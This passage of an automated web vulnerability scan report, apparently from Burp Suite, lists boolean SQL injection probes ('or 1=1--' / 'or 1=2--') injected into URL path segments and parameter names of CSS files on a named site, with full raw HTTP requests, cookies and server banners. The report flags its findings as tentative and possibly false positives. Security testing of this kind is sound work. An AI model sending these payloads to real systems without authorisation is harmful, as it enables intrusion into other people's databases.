GET /templates/kontent11/css/layout.css?187086877%20or%201%3d1--%20=1 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates/kontent11/css/layout.css on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates/kontent11/css/layout.css?187086877%20or%201%3d2--%20=1 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payloads 76820719'%20or%201%3d1--%20 and 76820719'%20or%201%3d2--%20 were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /templates76820719'%20or%201%3d1--%20/kontent11/css/reset.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates76820719' or 1=1-- /kontent11/css/reset.css on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates76820719'%20or%201%3d2--%20/kontent11/css/reset.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:01:21 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 566
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /templates76820719' or 1=2-- /kontent11/css/reset.css was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads 16077229'%20or%201%3d1--%20 and 16077229'%20or%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /templates/kontent1116077229'%20or%201%3d1--%20/css/reset.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates/kontent1116077229' or 1=1-- /css/reset.css on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates/kontent1116077229'%20or%201%3d2--%20/css/reset.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:03:18 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 566
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /templates/kontent1116077229' or 1=2-- /css/reset.css was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 26624147'%20or%201%3d1--%20 and 26624147'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /templates/kontent11/css26624147'%20or%201%3d1--%20/reset.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates/kontent11/css26624147' or 1=1-- /reset.css on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates/kontent11/css26624147'%20or%201%3d2--%20/reset.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:05:05 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 566
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /templates/kontent11/css26624147' or 1=2-- /reset.css was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payloads 13324620'%20or%201%3d1--%20 and 13324620'%20or%201%3d2--%20 were each submitted in the REST URL parameter 4. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /templates/kontent11/css/reset.css13324620'%20or%201%3d1--%20 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates/kontent11/css/reset.css13324620' or 1=1-- on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates/kontent11/css/reset.css13324620'%20or%201%3d2--%20 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:07:02 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 566
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /templates/kontent11/css/reset.css13324620' or 1=2-- was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
1.29. http://kontentdesign.com/templates/kontent11/css/reset.css [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://kontentdesign.com
Path:
/templates/kontent11/css/reset.css
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 15058242%20or%201%3d1--%20 and 15058242%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /templates/kontent11/css/reset.css?115058242%20or%201%3d1--%20=1 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates/kontent11/css/reset.css on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates/kontent11/css/reset.css?115058242%20or%201%3d2--%20=1 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payloads 19643837'%20or%201%3d1--%20 and 19643837'%20or%201%3d2--%20 were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /templates19643837'%20or%201%3d1--%20/kontent11/css/typography.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates19643837' or 1=1-- /kontent11/css/typography.css on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates19643837'%20or%201%3d2--%20/kontent11/css/typography.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:02:04 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 571
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /templates19643837' or 1=2-- /kontent11/css/typography.css was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads 16071338'%20or%201%3d1--%20 and 16071338'%20or%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /templates/kontent1116071338'%20or%201%3d1--%20/css/typography.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates/kontent1116071338' or 1=1-- /css/typography.css on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates/kontent1116071338'%20or%201%3d2--%20/css/typography.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:04:01 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 571
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /templates/kontent1116071338' or 1=2-- /css/typography.css was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 15857804'%20or%201%3d1--%20 and 15857804'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /templates/kontent11/css15857804'%20or%201%3d1--%20/typography.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates/kontent11/css15857804' or 1=1-- /typography.css on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates/kontent11/css15857804'%20or%201%3d2--%20/typography.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:05:49 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 571
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /templates/kontent11/css15857804' or 1=2-- /typography.css was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payloads 51594661'%20or%201%3d1--%20 and 51594661'%20or%201%3d2--%20 were each submitted in the REST URL parameter 4. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /templates/kontent11/css/typography.css51594661'%20or%201%3d1--%20 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates/kontent11/css/typography.css51594661' or 1=1-- on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates/kontent11/css/typography.css51594661'%20or%201%3d2--%20 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:07:46 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 571
